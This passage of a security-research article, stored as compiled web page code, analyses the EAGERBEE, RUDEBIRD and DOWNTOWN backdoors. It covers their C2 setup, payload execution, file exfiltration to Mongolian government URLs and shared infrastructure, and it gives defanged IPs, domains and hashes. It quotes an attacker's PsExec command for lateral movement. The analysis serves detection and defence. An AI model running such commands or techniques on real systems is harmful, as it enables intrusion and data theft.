\",(0,i.jsx)(e.code,{children:\"GetComputerNameW\"}),\" function\"]}),`\n`,(0,i.jsxs)(e.li,{children:[\"The malware retrieves the Windows version by utilizing the \",(0,i.jsx)(e.code,{children:\"GetVersionExW\"}),\" function\"]}),`\n`,(0,i.jsxs)(e.li,{children:[\"A globally unique identifier (GUID) is generated through the \",(0,i.jsx)(e.code,{children:\"CoCreateGuid\"}),\" function\"]}),`\n`,(0,i.jsxs)(e.li,{children:[\"The processor architecture information is acquired using the \",(0,i.jsx)(e.code,{children:\"GetNativeSystemInfo\"}),\" function\"]}),`\n`,(0,i.jsxs)(e.li,{children:[\"The ProductName, EditionID, and CurrentBuildNumber are extracted from the designated registry key \",(0,i.jsx)(e.code,{children:\"SOFTWARE\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\"})]}),`\n`]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/introducing-the-ref5961-intrusion-set/image19.png\",alt:\"Information collection\",width:\"1222\",height:\"187\"})}),`\n`,(0,i.jsxs)(e.p,{children:[\"The sample\\u2019s operational schedule is controlled by the string \",(0,i.jsx)(e.code,{children:\"0-5:00:23;6:00:23;\"}),\". In our sample the malware conforms to the outlined schedule using the ISO 8601 24-hour timekeeping system:\"]}),`\n`,(0,i.jsxs)(e.ul,{children:[`\n`,(0,i.jsx)(e.li,{children:\"active from Sunday(0) to Friday(5)\"}),`\n`,(0,i.jsx)(e.li,{children:\"all hours between 00 and 23\"}),`\n`,(0,i.jsx)(e.li,{children:\"Saturday(6) all hours between 00 and 23\"}),`\n`]}),`\n`,(0,i.jsx)(e.p,{children:\"This functionality allows the malware to impose self-restrictions during specific timeframes, showcasing both its adaptability and control.\"}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/introducing-the-ref5961-intrusion-set/image3.png\",alt:\"Configuration scheduling\",width:\"868\",height:\"815\"})}),`\n`,(0,i.jsxs)(e.p,{children:[\"The malware's C2 addresses are either hardcoded values or stored in an XOR-encrypted file named \",(0,i.jsx)(e.code,{children:\"c:\\\\users\\\\public\\\\iconcache.mui\"}),\". This file is decrypted using the first character as the decryption key.\"]}),`\n`,(0,i.jsxs)(e.p,{children:[\"This configuration file contains a list of semicolon-delimited IP addresses. The format adheres to the structure \",(0,i.jsx)(e.code,{children:\"IP:PORT\"}),\", where the character \",(0,i.jsx)(e.code,{children:\"s\"}),` is optional and instructs the malware to open a Secure Socket Layer (SSL) for encrypted communication between C2 and the malware.\n`,(0,i.jsx)(e.img,{src:\"/assets/images/introducing-the-ref5961-intrusion-set/image18.png\",alt:\"Malware\\u2019s hardcoded configuration of C2 IPs\",width:\"1106\",height:\"148\"})]}),`\n`,(0,i.jsx)(e.p,{children:\"The configuration optionally accepts a list of port numbers on which the malware will listen. The specific configuration mode, whether it's for reverse or forward connections, determines this behavior.\"}),`\n`,(0,i.jsx)(e.p,{children:\"A configuration flag is embedded directly into the code in both operating modes. This flag empowers the malware to select between utilizing SSL encryption during its interactions with the C2 server or plain text communication.\"}),`\n`,(0,i.jsx)(e.p,{children:\"In passive listening mode, the malware opens a listening socket on the port indicated in its configuration.\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"When operating in active connection mode, the malware attempts to load its configuration from the file \",(0,i.jsx)(e.code,{children:\"c:\\\\users\\\\public\\\\iconcache.mui\"}),\". In the event that this file is not found, the malware falls back to its hardcoded configuration to acquire the necessary IPs\"]}),`\n`,(0,i.jsx)(e.p,{children:\"The author employs a global variable embedded in the source code to select between modes. Importantly, both are included in the binary, with only one being executed based on the selection. Leaving this dormant capability in the binary may have been a mistake, but one that helps researchers understand the technical maturity of this group. Generally speaking, malware authors benefit from removing unused code that may be used against them.\"}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/introducing-the-ref5961-intrusion-set/image16.png\",alt:\"Both forward and reverse connection functionalities are present in the binary\",width:\"1009\",height:\"711\"})}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.strong,{children:(0,i.jsx)(e.em,{children:\"Note: In C programming, modularity is achieved through the use of #define directives to selectively include or exclude code parts in the compiled binary. However, the malware developer employed a less advisable approach in this case. They utilized static global variables whose values are set during compilation. Consequently, the resulting binary contains both utilized and unused functions. During runtime, the binary assesses the value of these static global variables to determine its behavior. Though functional, this is neither the best programming nor tradecraft practice as it permits analysis and detection engineering of code used outside the identified intrusion.\"})})}),`\n`,(0,i.jsxs)(e.p,{children:[\"The malware has the capability to detect the presence of an HTTP proxy configuration on the host machine by inspecting the \",(0,i.jsx)(e.code,{children:\"ProxyEnable\"}),\" registry key within \",(0,i.jsx)(e.code,{children:\"Software\\\\Microsoft\\\\windows\\\\CurrentVersion\\\\Internet Settings\"}),\". If this key value is set to \",(0,i.jsx)(e.code,{children:\"1\"}),\", the malware extracts the information in the \",(0,i.jsx)(e.code,{children:\"ProxyServer\"}),\" key.\"]}),`\n`,(0,i.jsx)(e.p,{children:\"If no proxy server is set, the malware connects directly to C2.\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"However, if the proxy settings are defined, the malware also initializes the proxy by sending a \",(0,i.jsx)(e.code,{children:\"CONNECT\"}),\" request, and its data to the configured destination. The malware author made a typo in the HTTP request code; they mistakenly wrote \",(0,i.jsx)(e.code,{children:\"DONNECT\"}),\" instead of \",(0,i.jsx)(e.code,{children:\"CONNECT\"}),\" in the HTTP request string in the binary. This is a reliably unique indicator for those analyzing network captures.\"]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/introducing-the-ref5961-intrusion-set/image12.png\",alt:\"HTTP request string to connect to the setup proxy\",width:\"948\",height:\"265\"})}),`\n`,(0,i.jsx)(e.p,{children:\"Upon establishing a connection to C2, The malware downloads executable files from C2, likely pushed automatically. It validates that each executable is 64bit, then extracts the entry point and modifies memory protections to allow execution using the VirtualProtect API.\"}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/introducing-the-ref5961-intrusion-set/image7.png\",alt:\"Payload execution in the same process\",width:\"1267\",height:\"718\"})}),`\n`,(0,i.jsx)(e.h3,{id:\"eagerbee-connection-to-a-mongolian-campaign\",children:\"EAGERBEE connection to a Mongolian campaign\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"During our EAGERBEE analysis, we also saw an additional two (previously unnamed) EAGERBEE \",(0,i.jsx)(e.a,{href:\"https://www.virustotal.com/gui/search/09005775FC587AC7BF150C05352E59DC01008B7BF8C1D870D1CEA87561AA0B06%250AA191D8059E93C0AB479DE45CDD91C41B985F9BCCD7B2CAD9F171FEA1C5F19E2E/files\",rel:\"nofollow\",children:\"samples\"}),\" involved in a targeted campaign focused on Mongolia. These two EAGERBEE samples were both respectively bundled with other files and used a similar naming convention (\",(0,i.jsx)(e.code,{children:\"iconcache.mui\"}),\" for EAGERBEE and \",(0,i.jsx)(e.code,{children:\"iconcaches.mui\"}),\" in the Mongolian campaign). The samples consisted of multiple files and a lure document.\"]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/introducing-the-ref5961-intrusion-set/image15.png\",alt:\"Decompressed files inside Mongolian campaign sample\",width:\"697\",height:\"196\"})}),`\n`,(0,i.jsxs)(e.p,{children:[\"While analyzing the Mongolian campaign samples, we found a previous \",(0,i.jsx)(e.a,{href:\"https://www.virustotal.com/gui/url/7e0d899d54c6a0f43fbac0e633d821eefa9057e29df8c4956321fe947daaaa54\",rel:\"nofollow\",children:\"webpage\"}),\" (\",(0,i.jsx)(e.code,{children:\"http://president[.]mn/en/ebooksheets.php\"}),\") hosted under Mongolian infrastructure serving a \",(0,i.jsx)(e.a,{href:\"https://www.virustotal.com/gui/file/af8cb76d9d955d654ec89b85d1ab35e1886ec2ba1a8c600a451d1bd383fb4e66/detection\",rel:\"nofollow\",children:\"RAR file\"}),\" named \",(0,i.jsx)(e.code,{children:\"20220921_2.rar\"}),\". Given the VirusTotal scan date of the file and the filename, it is likely to have been created in September 2022.\"]}),`\n`,(0,i.jsxs)(e.p,{children:[\"The lure text is centered around the regulations for the \\u201CBillion Trees National Movement Fund\\u201D and has been an important \",(0,i.jsx)(e.a,{href:\"https://thediplomat.com/2022/06/mongolias-1-billion-tree-movement/\",rel:\"nofollow\",children:\"topic\"}),\" in recent years related to an initiative taken on by Mongolia. To address food security, climate impacts, and naturally occurring but accelerating desertification, Mongolia\\u2019s government has undertaken an ambitious goal of planting one billion trees throughout the country.\"]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/introducing-the-ref5961-intrusion-set/image5.png\",alt:\"Lure document\",width:\"914\",height:\"465\"})}),`\n`,(0,i.jsxs)(e.p,{children:[\"For this infection chain, they leveraged a signed Kaspersky application in order to sideload a \",(0,i.jsx)(e.a,{href:\"https://www.virustotal.com/gui/file/4b3dc8609cba089e666b2086264e6f71dada57fdb3f160d2f5e546881a278766/relations\",rel:\"nofollow\",children:\"malicious DLL\"}),\". Upon execution, sensitive data and files were collected from the machine and uploaded to a hard-coded Mongolian government URL (\",(0,i.jsx)(e.code,{children:\"www.president[.]mn/upload.php\"}),\") via cURL. Persistence is configured using a Registry Run Key.\"]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/introducing-the-ref5961-intrusion-set/image14.png\",alt:\"Hard-coded domain in first sample\",width:\"1062\",height:\"257\"})}),`\n`,(0,i.jsxs)(e.p,{children:[(0,i.jsx)(e.strong,{children:(0,i.jsxs)(e.em,{children:[\"Note: Though it does not contain the .gov second-level domain, \",(0,i.jsx)(e.a,{href:\"http://www.president%5B.%5Dmn\",rel:\"nofollow\",children:\"www.president[.]mn\"}),\" does appear to be the official domain of the President of Mongolia, and is hosted within government infrastructure. Abuse email is directed to \",(0,i.jsx)(e.a,{href:\"mailto:oyunbold@datacenter.gov\",children:\"oyunbold@datacenter.gov\"}),\"[.]mn which appears to be legitimate.\"]})}),\" Based on string formatting and underlying behavior, this sample aligns with public \",(0,i.jsx)(e.a,{href:\"https://decoded.avast.io/luigicamastra/apt-group-targeting-governmental-agencies-in-east-asia/\",rel:\"nofollow\",children:\"reporting\"}),\" from AVAST related to a utility they call DataExtractor1.\"]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/introducing-the-ref5961-intrusion-set/image9.png\",alt:\"Sensitive file collection on different drives\",width:\"1051\",height:\"413\"})}),`\n`,(0,i.jsxs)(e.p,{children:[\"While we didn\\u2019t find a WinRAR archive for the other linked sample, we found this related \",(0,i.jsx)(e.a,{href:\"https://www.virustotal.com/gui/file/a191d8059e93c0ab479de45cdd91c41b985f9bccd7b2cad9f171fea1c5f19e2e\",rel:\"nofollow\",children:\"executable\"}),\". It functions similarly, using a different callback domain hosted on Mongolian infrastructure (\",(0,i.jsx)(e.code,{children:\"https://intranet.gov[.]mn/upload.php\"}),\").\"]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/introducing-the-ref5961-intrusion-set/image13.png\",alt:\"Hard-coded domain in the second sample\",width:\"1062\",height:\"266\"})}),`\n`,(0,i.jsx)(e.p,{children:\"While it is not clear how this infrastructure was compromised or the extent to which it has been used, impersonating trusted systems may have enabled the threat to compromise other victims and collect intelligence.\"}),`\n`,(0,i.jsx)(e.h3,{id:\"eagerbee-summary\",children:\"EAGERBEE Summary\"}),`\n`,(0,i.jsx)(e.p,{children:\"EAGERBEE is a technically straightforward backdoor with forward and reverse C2 and SSL encryption capabilities, used to conduct basic system enumeration and deliver subsequent executables for post-exploitation. The C2 mode is defined at compile time, and configurable with an associated config file with hardcoded fallback.\"}),`\n`,(0,i.jsx)(e.p,{children:\"Using code overlap analysis, and the fact that EAGERBEE was bundled with other samples from VirusTotal, we identified a C2 server hosted on Mongolian government infrastructure. The associated lure documents also reference Mongolian government policy initiatives. This leads us to believe that the Mongolian government or non-governmental organizations (NGOs) may have been targeted by the REF2924 threat actor.\"}),`\n`,(0,i.jsx)(e.h2,{id:\"rudebird\",children:\"RUDEBIRD\"}),`\n`,(0,i.jsx)(e.p,{children:\"Within the contested REF2924 environment, Elastic Security Labs identified a lightweight Windows backdoor that communicates over HTTPS and contains capabilities to perform reconnaissance and execute code. We refer to this malware family as RUDEBIRD.\"}),`\n`,(0,i.jsx)(e.h3,{id:\"initial-execution\",children:\"Initial execution\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"The backdoor was executed by a file with an invalid signature, \",(0,i.jsx)(e.code,{children:\"C:\\\\Windows\\\\help\\\\RVTDM.exe\"}),\", which resembles the Sysinternals screen magnifier utility ZoomIt. Shortly after being executed, Elastic Defend registered a process injection alert.\"]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/introducing-the-ref5961-intrusion-set/image28.png\",alt:\"PE signature and original filename details of RVTDM.exe\",width:\"785\",height:\"352\"})}),`\n`,(0,i.jsxs)(e.p,{children:[\"The process was executed with the parent process (\",(0,i.jsx)(e.code,{children:\"w3wp.exe\"}),\") coming from a Microsoft Exchange application pool. This is consistent with the exploitation of an unpatched Exchange vulnerability, and prior research supports that hypothesis.\"]}),`\n`,(0,i.jsx)(e.h3,{id:\"lateral-movement\",children:\"Lateral movement\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"RUDEBIRD used PsExec (\",(0,i.jsx)(e.code,{children:\"exec.exe\"}),\") to execute itself from the SYSTEM account and then move laterally from victim 0 to another targeted host. It is unclear if PsExec was brought to the environment by the threat actor or if it was already present in the environment.\"]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.code,{children:'\"C:\\\\windows\\\\help\\\\exec.exe\" /accepteula \\\\\\\\{victim-1} -d -s C:\\\\windows\\\\debug\\\\RVTDM.EXE'})}),`\n`,(0,i.jsx)(e.h3,{id:\"code-analysis-1\",children:\"Code analysis\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"RUDEIBIRD is composed of shellcode that resolves imports dynamically by accessing the Thread Environment Block (TEB) / Process Environment Block (PEB) and walking the loaded modules to find base addresses for the \",(0,i.jsx)(e.code,{children:\"kernel32.dll\"}),\" and \",(0,i.jsx)(e.code,{children:\"ntdll.dll\"}),\" modules. These system DLLs contain crucial functions that will be located by the malware in order to interact with the Windows operating system.\"]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/introducing-the-ref5961-intrusion-set/image22.png\",alt:\"Resolving imports using TEB/PEB\",width:\"724\",height:\"196\"})}),`\n`,(0,i.jsxs)(e.p,{children:[\"RUDEBIRD uses a straightforward API hashing algorithm with multiplication (\",(0,i.jsx)(e.code,{children:\"0x21\"}),\") and addition that is \",(0,i.jsx)(e.a,{href:\"https://github.com/OALabs/hashdb/blob/main/algorithms/mult21_add.py\",rel:\"nofollow\",children:\"publicly available\"}),\" from OALabs. This provides defense against static-analysis tools that analysts may use to inspect the import table and discern what capabilities a binary has.\"]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/introducing-the-ref5961-intrusion-set/image11.png\",alt:\"RUDEBIRD API Hashing algorithm\",width:\"532\",height:\"170\"})}),`\n`,(0,i.jsx)(e.p,{children:\"After resolving the libraries, there is an initial enumeration function that collects several pieces of information including:\"}),`\n`,(0,i.jsxs)(e.ul,{children:[`\n`,(0,i.jsx)(e.li,{children:\"Hostname\"}),`\n`,(0,i.jsx)(e.li,{children:\"Computer name\"}),`\n`,(0,i.jsx)(e.li,{children:\"Username\"}),`\n`,(0,i.jsx)(e.li,{children:\"IP Address\"}),`\n`,(0,i.jsx)(e.li,{children:\"System architecture\"}),`\n`,(0,i.jsx)(e.li,{children:\"Privilege of the current user\"}),`\n`]}),`\n`,(0,i.jsxs)(e.p,{children:[\"For some functions that return larger amounts of data, the malware implements compression using \",(0,i.jsx)(e.code,{children:\"RtlCompressBuffer\"}),\". The malware communicates using HTTPS to IP addresses loaded in memory from its configuration. We observed two IP addresses in the configuration in our sample:\"]}),`\n`,(0,i.jsxs)(e.ul,{children:[`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.code,{children:\"45.90.58[.]103\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.code,{children:\"185.195.237[.]123\"})}),`\n`]}),`\n`,(0,i.jsxs)(e.p,{children:[\"Strangely, there are several functions throughout the program that include calls to \",(0,i.jsx)(e.code,{children:\"OutputDebugStringA\"}),\". This function is typically used during the development phase and serves as a mechanism to send strings to a debugger while testing a program. Normally, these debug messages are expected to be removed after development is finished. For example, the result of the administrator check is printed if run inside a debugger.\"]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/introducing-the-ref5961-intrusion-set/image21.png\",alt:\"RUDEBIRD debug string\",width:\"332\",height:\"72\"})}),`\n`,(0,i.jsxs)(e.p,{children:[\"RUDEBIRD uses mutexes to maintain synchronization throughout its execution. On launch, the mutex is set to \",(0,i.jsx)(e.code,{children:\"VV.0\"}),\".\"]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/introducing-the-ref5961-intrusion-set/image24.png\",alt:\"RUDEBIRD mutex\",width:\"505\",height:\"126\"})}),`\n`,(0,i.jsx)(e.p,{children:\"After the initial enumeration stage, RUDEBIRD operates as a traditional backdoor with the following capabilities:\"}),`\n`,(0,i.jsxs)(e.ul,{children:[`\n`,(0,i.jsx)(e.li,{children:\"Retrieve victim\\u2019s desktop directory path\"}),`\n`,(0,i.jsx)(e.li,{children:\"Retrieve disk volume information\"}),`\n`,(0,i.jsx)(e.li,{children:\"Perform file/directory enumeration\"}),`\n`,(0,i.jsx)(e.li,{children:\"Perform file operations such as reading/writing file content\"}),`\n`,(0,i.jsx)(e.li,{children:\"Launch new processes\"}),`\n`,(0,i.jsx)(e.li,{children:\"File/folder operations such as creating new directories, move/copy/delete/rename files\"}),`\n`,(0,i.jsx)(e.li,{children:\"Beacon timeout option\"}),`\n`]}),`\n`,(0,i.jsx)(e.h2,{id:\"downtown-smanagerphantomnet\",children:\"DOWNTOWN (SManager/PhantomNet)\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"In the REF2924 environment, we observed a modular implant we call DOWNTOWN. This sample shares a plugin architecture, and code similarities, and aligns with the victimology described in the publicly reported malware \",(0,i.jsx)(e.a,{href:\"https://malpedia.caad.fkie.fraunhofer.de/details/win.smanager\",rel:\"nofollow\",children:\"SManager/PhantomNet\"}),\". While we have little visibility into the impacts of its overall use, we wanted to share any details that may help the community.\"]}),`\n`,(0,i.jsxs)(e.p,{children:[\"SManager/PhantomNet has been attributed to \",(0,i.jsx)(e.a,{href:\"https://malpedia.caad.fkie.fraunhofer.de/actor/ta428\",rel:\"nofollow\",children:\"TA428\"}),\" (Colourful Panda, BRONZE DUDLEY), a threat actor likely sponsored by the Chinese government. Because of the shared plugin architecture, code similarities, and victimology, we are attributing DOWNTOWN with a moderate degree of confidence to a nationally sponsored Chinese threat actor.\"]}),`\n`,(0,i.jsx)(e.h3,{id:\"code-analysis-2\",children:\"Code analysis\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"For DOWNTOWN, we collected the plugin from a larger framework. This distinction is made based on unique and shared exports from previously published \",(0,i.jsx)(e.a,{href:\"https://www.welivesecurity.com/2020/12/17/operation-signsight-supply-chain-attack-southeast-asia/\",rel:\"nofollow\",children:\"research\"}),\" by ESET. One of the exports contains the same misspelling previously identified in the ESET blog, \",(0,i.jsx)(e.code,{children:\"GetPluginInfomation\"}),\" (note: \",(0,i.jsx)(e.code,{children:\"Infomation\"}),\" is missing an \",(0,i.jsx)(e.code,{children:\"r\"}),\"). The victimology of REF2924 is consistent with their reported victim vertical and region.\"]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/introducing-the-ref5961-intrusion-set/image8.png\",alt:\"DOWNTOWN exports\",width:\"548\",height:\"131\"})}),`\n`,(0,i.jsx)(e.p,{children:\"In our sample, the plugin is labeled as \\u201CExplorerManager\\u201D.\"}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/introducing-the-ref5961-intrusion-set/image26.png\",alt:\"GetPlugInfomation export\",width:\"476\",height:\"191\"})}),`\n`,(0,i.jsx)(e.p,{children:\"The majority of the code appears to be centered around middleware functionality (linked lists, memory management, and thread synchronization) used to task the malware.\"}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/introducing-the-ref5961-intrusion-set/image4.png\",alt:\"Strings found inside DOWNTOWN sample\",width:\"703\",height:\"317\"})}),`\n`,(0,i.jsxs)(e.p,{children:[\"In a similar fashion to RUDEBIRD above, DOWNTOWN also included the debug functionality using \",(0,i.jsx)(e.code,{children:\"OutputDebugStringA\"}),\". Again, debugging frameworks are usually removed once the software is moved from development to production status. This could indicate that this module is still in active development or a lack of operational scrutiny by the malware author(s).\"]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/introducing-the-ref5961-intrusion-set/image2.png\",alt:\"OutputDebugStringA usage\",width:\"699\",height:\"277\"})}),`\n`,(0,i.jsx)(e.p,{children:\"Some functionality observed in the sample included:\"}),`\n`,(0,i.jsxs)(e.ul,{children:[`\n`,(0,i.jsx)(e.li,{children:\"File/folder enumeration\"}),`\n`,(0,i.jsx)(e.li,{children:\"Disk enumeration\"}),`\n`,(0,i.jsx)(e.li,{children:\"File operations (delete/execute/rename/copy)\"}),`\n`]}),`\n`,(0,i.jsx)(e.p,{children:\"Unfortunately, our team did not encounter any network/communication functionality or find any domain or IP addresses tied to this sample.\"}),`\n`,(0,i.jsx)(e.h3,{id:\"downtown-summary\",children:\"DOWNTOWN Summary\"}),`\n`,(0,i.jsx)(e.p,{children:\"DOWNTOWN is part of a modular framework that shows probable ties to an established threat group. The observed plugin appears to provide middleware functionality to the main implant and contains several functions to perform enumeration.\"}),`\n`,(0,i.jsx)(e.h2,{id:\"network-infrastructure-intersection\",children:\"Network infrastructure intersection\"}),`\n`,(0,i.jsx)(e.p,{children:\"When performing an analysis of the network infrastructure for EAGERBEE and RUDEBIRD, we identified similarities in the domain hosting provider, subdomain naming, registration dates, and service enablement between the two malware families\\u2019 C2 infrastructure. Additionally, we were able to use TLS leaf certificate fingerprints to establish another connection between EAGERBEE and the Mongolian campaign infrastructure.\"}),`\n`,(0,i.jsx)(e.h3,{id:\"shared-network-infrastructure\",children:\"Shared network infrastructure\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"As identified in the malware analysis section for EAGERBEE, there were two IP addresses used for C2: \",(0,i.jsx)(e.code,{children:\"185.82.217[.]164\"}),\" and \",(0,i.jsx)(e.code,{children:\"195.123.245[.]79\"}),\".\"]}),`\n`,(0,i.jsxs)(e.p,{children:[\"Of the two, \",(0,i.jsx)(e.code,{children:\"185.82.217[.]164\"}),\" had an expired TLS certificate registered to it for \",(0,i.jsx)(e.code,{children:\"paper.hosted-by-bay[.]net\"}),\". The subdomain registration for \",(0,i.jsx)(e.code,{children:\"paper.hosted-by-bay[.]net\"}),\" and the TLS certificate were registered on December 14, 2020.\"]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/introducing-the-ref5961-intrusion-set/image17.jpg\",alt:\"paper.hosted-by-bay[.]net TLS certificate\",width:\"900\",height:\"500\"})}),`\n`,(0,i.jsxs)(e.p,{children:[\"As identified in the malware analysis section for RUDEBIRD, there were two IP addresses used for C2: \",(0,i.jsx)(e.code,{children:\"45.90.58[.]103\"}),\" and \",(0,i.jsx)(e.code,{children:\"185.195.237[.]123\"}),\".\"]}),`\n`,(0,i.jsxs)(e.p,{children:[(0,i.jsx)(e.code,{children:\"45.90.58[.]103\"}),\" was used to register the subdomain \",(0,i.jsx)(e.code,{children:\"news.hosted-by-bay[.]net\"}),\", on December 13, 2020.\"]}),`\n`,(0,i.jsxs)(e.p,{children:[\"Both IP addresses (one from EAGERBEE and one from RUDEBIRD) were assigned to subdomains (\",(0,i.jsx)(e.code,{children:\"paper.hosted-by-bay[.]net\"}),\" and \",(0,i.jsx)(e.code,{children:\"news.hosted-by-bay[.]net\"}),\") within one day at the domain \",(0,i.jsx)(e.code,{children:\"hosted-by-bay[.]net\"}),\".\"]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.strong,{children:(0,i.jsxs)(e.em,{children:[\"Note: While \",(0,i.jsx)(e.code,{children:\"195.123.245[.]79\"}),\" (EAGERBEE) and \",(0,i.jsx)(e.code,{children:\"185.195.237[.]123\"}),\" (RUDEBIRD) are malicious, we were unable to identify anything atypical of normal C2 nodes. They used the same defense evasion technique (described below) used by \",(0,i.jsx)(e.code,{children:\"185.82.217[.]164\"}),\" (EAGERBEE) and \",(0,i.jsx)(e.code,{children:\"45.90.58[.]103\"}),\" (RUDEBIRD).\"]})})}),`\n`,(0,i.jsx)(e.h3,{id:\"domain-analysis\",children:\"Domain analysis\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"When performing an analysis of the \",(0,i.jsx)(e.code,{children:\"hosted-by-bay[.]net\"}),\" domain, we see that it is registered to the IP address \",(0,i.jsx)(e.code,{children:\"45.133.194[.]106\"}),\". This IP address exposes two TCP ports, one is the expected TLS port of \",(0,i.jsx)(e.code,{children:\"443\"}),\", and the other is \",(0,i.jsx)(e.code,{children:\"62753\"}),\".\"]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.strong,{children:(0,i.jsxs)(e.em,{children:[\"Note: Port \",(0,i.jsx)(e.code,{children:\"443\"}),\" has a Let\\u2019s Encrypt TLS certificate for \",(0,i.jsx)(e.code,{children:\"paypal.goodspaypal[.]com\"}),\". This domain does not appear to be related to this research but should be categorized as malicious based on its registration to this IP.\"]})})}),`\n`,(0,i.jsxs)(e.p,{children:[\"On port \",(0,i.jsx)(e.code,{children:\"62753\"}),\", there was a self-signed wildcard TLS leaf certificate with a fingerprint of \",(0,i.jsx)(e.code,{children:\"d218680140ad2c6e947bf16020c0d36d3216f6fc7370c366ebe841c02d889a59\"}),\" (\",(0,i.jsx)(e.code,{children:\"*.REDACTED[.]mn\"}),\"). This fingerprint is used for one host, \",(0,i.jsx)(e.code,{children:\"shop.REDACTED[.]mn\"}),\". The 10-year TLS certificate was registered on December 13, 2020.\"]}),`\n`,(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{children:`Validity\nNot Before: 2020-12-13 11:53:20\nNot After: 2030-12-11 11:53:20\nSubject: CN=shop.REDACTED[.]mn\n`})}),`\n`,(0,i.jsxs)(e.p,{children:[(0,i.jsx)(e.code,{children:\".mn\"}),\" is the Internet ccTLD for Mongolia and REDACTED is a large bank in Mongolia. When researching the network infrastructure for REDACTED, we can see that they do currently own their DNS infrastructure.\"]}),`\n`,(0,i.jsxs)(e.p,{children:[\"It does not appear that \",(0,i.jsx)(e.code,{children:\"shop.REDACTED[.]mn\"}),\" was ever registered. This self-signed TLS certificate was likely used to encrypt C2 traffic. While we cannot confirm that this certificate was used for EAGERBEE or RUDEBIRD, in the malware code analysis of both EAGERBEE and RUDEBIRD, we identified that TLS to an IP address is an available malware configuration option. We do believe that this domain is related to EAGERBEE and RUDEBIRD based on the registration dates, IP addresses, and subdomains of the \",(0,i.jsx)(e.code,{children:\"hosted-by-bay[.]net\"}),\" domain.\"]}),`\n`,(0,i.jsx)(e.p,{children:\"As noted in the EAGERBEE malware analysis, we identified two other previously unnamed EAGERBEE samples used to target Mongolian victims and also leveraged Mongolian C2 infrastructure.\"}),`\n`,(0,i.jsx)(e.h3,{id:\"defense-evasion\",children:\"Defense evasion\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"Finally, we see all of the C2 IP addresses add and remove services at similar dates and times. This is a tactic to hinder the analysis of the C2 infrastructure by limiting its availability. It should be noted that the history of the service enablement and disablement (provided by \",(0,i.jsx)(e.a,{href:\"https://search.censys.io/\",rel:\"nofollow\",children:\"Censys.io\"}),\" databases) is meant to show possible coordination in C2 availability. The images below show the last service change windows, further historical data was not available.\"]}),`\n`,(0,i.jsxs)(e.p,{children:[(0,i.jsx)(e.code,{children:\"192.123.245[.]79\"}),\" had TCP port \",(0,i.jsx)(e.code,{children:\"80\"}),\" enabled on September 22, 2023 at 07:31 and then disabled on September 24, 2023 at 07:42.\"]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/introducing-the-ref5961-intrusion-set/image6.jpg\",alt:\"192.123.245[.]79 C2 service windows\",width:\"1318\",height:\"902\"})}),`\n`,(0,i.jsxs)(e.p,{children:[(0,i.jsx)(e.code,{children:\"185.195.237[.]123\"}),\" had TCP port \",(0,i.jsx)(e.code,{children:\"443\"}),\" enabled on September 22, 2023 at 03:33 and then disabled on September 25, 2023 at 08:08.\"]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/introducing-the-ref5961-intrusion-set/image23.jpg\",alt:\"185.195.237[.]123 C2 service windows\",width:\"1326\",height:\"1046\"})}),`\n`,(0,i.jsxs)(e.p,{children:[(0,i.jsx)(e.code,{children:\"185.82.217[.]164\"}),\" had TCP port \",(0,i.jsx)(e.code,{children:\"443\"}),\" enabled on September 22, 2023 at 08:49 and then disabled on September 25, 2023 at 01:02.\"]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/introducing-the-ref5961-intrusion-set/image20.jpg\",alt:\"185.82.217[.]164 C2 service 